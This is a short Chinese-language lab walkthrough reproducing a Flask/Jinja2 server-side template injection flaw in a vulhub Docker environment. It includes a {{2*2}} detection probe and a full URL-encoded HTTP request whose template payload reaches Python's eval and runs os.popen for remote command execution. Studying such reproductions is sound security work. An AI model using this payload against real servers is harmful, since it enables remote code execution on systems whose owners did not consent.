Flask(Jinja2) 服务端模板注入漏洞
Flask(Jinja2) 服务端模板注入漏洞
Flask(Jinja2) 服务端模板注入漏洞
Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
漏洞环境
我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/flask/ssti/ docker-compose up -d
访问IP:8080/即可看到一个flask的欢迎页面。
影响版本
Werkzeug 一个 WSGI 工具包
jinja2 模板引擎
漏洞复现
访问
http://192.168.200.23:8000/?name={{2*2}}
如果后面的2*2被解析就证明漏洞存在
执行命令执行poc
GET /?name={%25%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%25}%0A{%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25}%0A%20%20{%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25}%0A%20%20{%25%20if%20b.__class__%20%3D%3D%20{}.__class__%20%25}%0A%20%20%20%20{%25%20if%20%27eval%27%20in%20b.keys()%20%25}%0A%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22执行的命令%22).read()%27)%20}}%0A%20%20%20%20{%25%20endif%20%25}%0A%20%20{%25%20endif%20%25}%0A%20%20{%25%20endfor%20%25}%0A{%25%20endif%20%25}%0A{%25%20endfor%20%25} HTTP/1.1 Host: 192.168.200.23:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
命令执行成功